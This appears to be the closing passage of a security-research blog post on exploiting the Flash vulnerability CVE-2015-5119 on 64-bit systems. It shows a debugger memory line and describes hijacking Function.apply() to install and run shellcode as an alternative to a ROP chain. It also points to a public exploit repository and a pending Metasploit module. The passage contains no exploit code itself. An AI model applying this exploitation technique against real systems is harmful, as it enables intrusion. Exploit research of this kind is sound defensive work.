Allocation Base:        00007ff7`5a770000
Allocation Protect:     00000001 PAGE_NOACCESS


The Function.apply() hijack method is a nice way to prepare the memory, install the shellcode and execute it. It is also cleaner than a rop chain, at least if the MethodObject layout is stable over Flash versions!


You can find the updated code for this exercise on the same repository introduced in Part 1: jvazquez-r7/CVE-2015-5119 · GitHub. We have a pending update to the metasploit module supporting 64-bit targets, but there is some "magic" to finish and now is time for DEFCON! By the way, feel free to reach out if you plan to be around DEFCON, as I would like to discuss software security-related topics (or others!) =) In the meanwhile, feel free to grab the code from the github repository to play around with it. Feedback is of course welcome and appreciated

Filter Blog

By date: By tag: